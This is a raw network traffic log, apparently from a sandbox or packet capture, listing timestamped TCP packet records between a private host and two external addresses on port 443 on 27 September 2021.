Sep 27, 2021 20:33:23.248888969 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.248939037 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.248967886 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.248995066 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249026060 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.249037981 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249048948 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249092102 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.249100924 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249134064 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.249150038 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249202967 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.249244928 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249322891 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.249583006 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249639988 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.249793053 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249866962 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.249914885 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.249982119 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.250844955 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.250916004 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.251859903 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.251940012 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.251991034 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.252057076 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.252865076 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.252928972 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.252970934 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.253015995 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.253096104 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.253142118 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.253803968 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.253882885 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.253946066 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.254007101 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.254893064 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.254982948 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.255038977 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.255094051 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.255664110 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.255776882 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.256566048 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.256640911 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.256664038 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.256738901 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.257478952 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.257539034 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.257556915 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.257616997 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.258671045 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.258725882 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.258822918 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.258882046 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.263577938 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.263607025 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.263667107 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.263676882 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.263705969 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.263720989 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.263829947 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.263874054 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.263914108 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.263922930 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.263947964 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.263978958 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.265259981 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.265285969 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.265369892 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.265383005 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.265444040 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.266922951 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.266942024 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.267044067 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.267057896 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.267371893 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.267932892 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.267951012 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.268047094 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.268065929 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.268179893 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.269570112 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.269587994 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.269664049 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.269680977 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.269728899 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.269776106 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.270591974 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.270607948 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.270687103 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.270703077 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.270750999 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.272260904 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.272280931 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.272378922 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.272392035 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.272528887 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.273483038 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.273500919 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.273591042 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.273603916 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.273731947 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.274663925 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.274693012 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.274759054 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.274771929 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.274833918 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.276233912 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.276252031 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.276348114 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.276360989 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.276482105 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.293705940 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294110060 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.294128895 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294349909 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294368029 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294540882 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.294552088 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294560909 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294662952 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.294672966 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294682026 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294686079 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294862032 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.294867992 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.294874907 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294884920 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.294987917 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.294998884 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295016050 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295020103 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295108080 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.295133114 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295142889 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295218945 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.295226097 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295234919 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295253992 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.295259953 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295316935 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.295322895 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.295366049 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.810750961 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:32.085483074 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.085525990 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.085624933 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.111577034 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.111609936 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.149977922 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.150068998 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.175024033 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.175497055 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.175575018 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.199740887 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.239487886 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239603996 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239639997 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.239645958 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239666939 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239680052 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.239703894 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239717960 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.239728928 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239742994 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.239753962 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239767075 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.239774942 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.239804983 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.239837885 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.240005970 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.240147114 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.240164042 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.240241051 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.240279913 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.240328074 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.240339994 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.240381002 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.240398884 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.240408897 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.240447044 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.240483046 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.241369963 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.241436005 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.241498947 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.241501093 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.241517067 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.241554022 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.241714001 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.241734982 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.241795063 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.242156982 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.242243052 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.242249966 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.242305040 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.242321014 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.242372036 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.242424011 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.242432117 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.242475033 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.243256092 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.243393898 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.243407965 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.243464947 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.255446911 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.255642891 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.255686045 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.255733013 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.255738974 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.255750895 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.255815029 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.255822897 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.255892992 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.256017923 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.256078005 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.256207943 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.256269932 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.256283998 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.256294012 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.256314039 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.256357908 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.256364107 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.256421089 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.256941080 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.257014990 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.257029057 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.257093906 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.257102013 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.257157087 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.257167101 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.257206917 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.257858992 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.258006096 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.258352995 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.258393049 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.258416891 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.258431911 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.258472919 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.258527040 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.259531975 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.259838104 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.260010004 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.260113001 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.260204077 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.260260105 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.261056900 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.261127949 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.262131929 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.262211084 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.262214899 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.262242079 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.262262106 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.262289047 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.262690067 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.262769938 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.263745070 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.263816118 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.271779060 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.271898985 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.272519112 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.272659063 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.272823095 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.272887945 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.272907972 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.272917986 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.272984982 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.272990942 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.274627924 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.274789095 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.274976969 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.274993896 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.275042057 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.275530100 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.275603056 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.276058912 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.276106119 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.276124954 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.276134014 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.276161909 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.276181936 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.276808023 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.276870966 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.276875019 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.276885986 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.276926994 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.277792931 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.277861118 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.278554916 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.278615952 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.278779984 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.278853893 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.279846907 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.279922009 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.279947996 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.280014038 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.280632019 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.280688047 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.280708075 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.280719995 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.280746937 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.280767918 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.281563044 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.281615019 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.281632900 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.281641960 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.281670094 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.281691074 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.282329082 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.282377958 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.282401085 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.282411098 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.283637047 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.283643961 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.283644915 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.283663034 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.283710957 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.283737898 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.283747911 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.283792019 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.283802986 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.284048080 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.284121037 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.284173965 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.284173965 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.284187078 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.284239054 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.284888029 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.284962893 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.285572052 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.285634041 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.285640001 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.285650015 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.285680056 CEST	49746	443	192.168.2.6	162.159.130.233
